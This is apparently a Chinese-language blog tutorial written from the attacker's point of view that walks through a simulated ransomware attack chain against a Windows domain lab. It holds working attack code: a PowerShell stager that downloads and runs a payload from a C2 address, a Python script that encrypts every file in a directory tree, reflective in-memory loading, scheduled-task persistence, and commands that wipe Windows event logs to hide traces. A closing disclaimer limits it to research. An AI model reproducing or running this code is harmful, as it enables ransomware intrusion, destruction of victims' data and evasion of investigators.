0x01 勒索软件的攻击面剖析

在任何勒索软件攻击中,彻底了解目标系统的架构和潜在的薄弱点都是关键的一步。一般情况下,企业环境中用于勒索攻击的目标多为 Windows 系统(如 Windows Server、域控等),同时员工终端可能是混合环境,包含 Windows 和 macOS 工作站。在这一章,我们将分析企业环境中常见的防御机制以及攻击者如何找到切入点。

攻击面分析

1. 公网暴露的服务 勒索软件的大多数攻击链始于利用暴露在公网的服务,比如 RDP、SMB、VPN 网关等。对于攻击者来说,这些服务就像是大门。如果其中任何一项没有正确配置,或存在未修复的漏洞,就可以成为入侵路径。

2. 内网的信任边界 企业内部网络通常被设计为高度信任的环境,只要攻击者进入内网,就可以利用信任边界的缺乏进行横向移动。攻击者可能通过窃取凭据、利用 NTLM 中继攻击,甚至是借助域控的管理信任关系来迅速扩展权限。

3. EDR 与 AV 的部署 虽然很多企业部署了 EDR(Endpoint Detection and Response)或杀毒软件,但这些设备通常并非无懈可击。有经验的攻击者会通过基于内存的加载技术、代码混淆、流量加密等手段绕过这些检测。

4. 数据的重要性 勒索软件的核心目标是破坏企业关键数据的可用性,因此哪些服务器存储最有价值的数据(比如数据库、文件共享服务器等),是攻击者的重点目标。

---

0x02 攻击环境复现:从测试靶场到攻击链设计

要研究勒索软件的攻击技术,一个良好的测试环境是必不可少的。本节会介绍一个简单的靶场环境搭建方法,并通过一个完整的攻击链设计,模拟勒索软件从初始感染到加密数据的全过程。

黑客示意图

靶场设计

靶场架构:

  • 网络拓扑:一个公网能访问的攻击机(Kali Linux)+ 一个靶机(Windows Server 2019)+ 一个域控(Windows Server 2016)。
  • 关键服务:在靶机上开启 RDP 和 SMB 共享服务,域控负责管理域环境。
  • 测试样本:使用 Cobalt Strike 来生成测试 payload,同时手写一段简化版加密脚本模拟勒索行为。

配置步骤

1. Windows Server 的靶机搭建

  • 安装 Windows Server 2019,确保启用 RDP 和 SMB 服务。
  • 关闭 Windows Defender 或配置白名单,避免干扰。
  • 加入到域(如果有域控)。

2. Kali 攻击机环境

  • 安装 Cobalt Strike 或 Metasploit,用于生成免杀 payload。
  • 配置域名解析和端口转发,以便与靶机通信。

3. 模拟企业环境

  • 创建几个共享文件夹,里面存放一些假数据文件(例如 Word、Excel)。
  • 在域控上创建一些测试账户,用于模拟凭据劫持和横向移动。

---

0x03 Payload构造的艺术:感染的第一步

勒索软件的第一步就是在目标机器上执行恶意代码。本节介绍如何构造一个功能完善的 payload,并实现对目标系统的初始控制。

利用 PowerShell 构造初始 Payload

通过 PowerShell,可以轻松生成一个内存加载的 payload,避免直接写入磁盘,从而绕过传统杀毒软件的检测。

<pre><code class="language-powershell"># 这是一个简单的 PowerShell 脚本,用于下载并执行恶意代码 $payloadUrl = &quot;http://192.168.1.100/payload.exe&quot; # C2服务器的地址 $outputPath = &quot;$env:temp\payload.exe&quot; # 临时文件路径 Invoke-WebRequest -Uri $payloadUrl -OutFile $outputPath Start-Process $outputPath</code></pre>

代码说明:

  1. $payloadUrl:攻击者托管恶意代码的服务器地址。
  2. Invoke-WebRequest:下载 payload 到目标机器。
  3. Start-Process:运行下载的恶意代码。

使用 Python 创建加密脚本

为了让攻击链更完整,我们还需要一个数据加密的脚本。以下是一个简化版的加密程序:

<pre><code class="language-python">from cryptography.fernet import Fernet import os

生成一个对称加密密钥

key = Fernet.generate_key() cipher = Fernet(key)

加密文件的函数

def encrypt_file(filepath): with open(filepath, &#039;rb&#039;) as f: data = f.read() encrypted_data = cipher.encrypt(data) with open(filepath, &#039;wb&#039;) as f: f.write(encrypted_data)

黑客示意图

遍历目标目录,加密所有文件

target_dir = &quot;C:/Users/Public/Documents&quot; # 目标路径 for root, dirs, files in os.walk(target_dir): for file in files: file_path = os.path.join(root, file) encrypt_file(file_path)

输出密钥(勒索软件通常不会在本地保存密钥)

print(f&quot;Encryption Key: {key.decode()}&quot;)</code></pre>

---

0x04 绕过与隐匿:如何对抗防守者

一旦成功感染目标机器,绕过 EDR 等防御措施是至关重要的。本节介绍几种常见的绕过技术。

1. 内存加载

通过 PowerShell 的 Invoke-ReflectivePEInjection 技术,可将恶意代码直接加载到目标进程内存中,避免触发磁盘扫描。

<pre><code class="language-powershell">[Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes(&quot;C:\path\to\shellcode.dll&quot;))</code></pre>

2. 流量伪装

使用 HTTPS 加密通信或模仿合法流量(如 Office 365 请求)以隐藏恶意行为。

3. 定时触发与持久化

利用 Windows 计划任务实现横向移动或持久化: <pre><code class="language-powershell">schtasks /create /sc minute /mo 15 /tn &quot;UpdateTask&quot; /tr &quot;powershell.exe -ExecutionPolicy Bypass -File C:\temp\script.ps1&quot;</code></pre>

黑客示意图

---

0x05 痕迹清除的小技巧

攻击完成后,清理痕迹非常重要,以下是几个技术点:

1. 删除日志

通过 PowerShell 清除 Windows 事件日志: <pre><code class="language-powershell">wevtutil cl System wevtutil cl Security wevtutil cl Application</code></pre>

2. 清理计划任务

删除所有创建的计划任务: <pre><code class="language-powershell">schtasks /delete /tn &quot;UpdateTask&quot; /f</code></pre>

3. 删除临时文件

清空 Payload 存放的目录: <pre><code class="language-powershell">Remove-Item -Path &quot;C:\temp\*&quot; -Recurse -Force</code></pre>

---

0x06 攻击者的反思

从攻击者的角度看,勒索软件攻击的成功与否与初始感染方式、横向移动能力、防御绕过技术息息相关。而在实际场景中,攻击者往往还会结合社交工程(如鱼叉邮件)来进一步提高成功率。

但值得注意的是,每个攻击步骤都可能在防御者的监控范围内暴露风险。因此,构造攻击链时,需要权衡攻击效果与隐匿性,这才是勒索软件攻击的艺术之处

声明:本文中的技术与代码仅供研究和学习之用,请勿用于未经授权的攻击活动,否则后果自负。

黑客示意图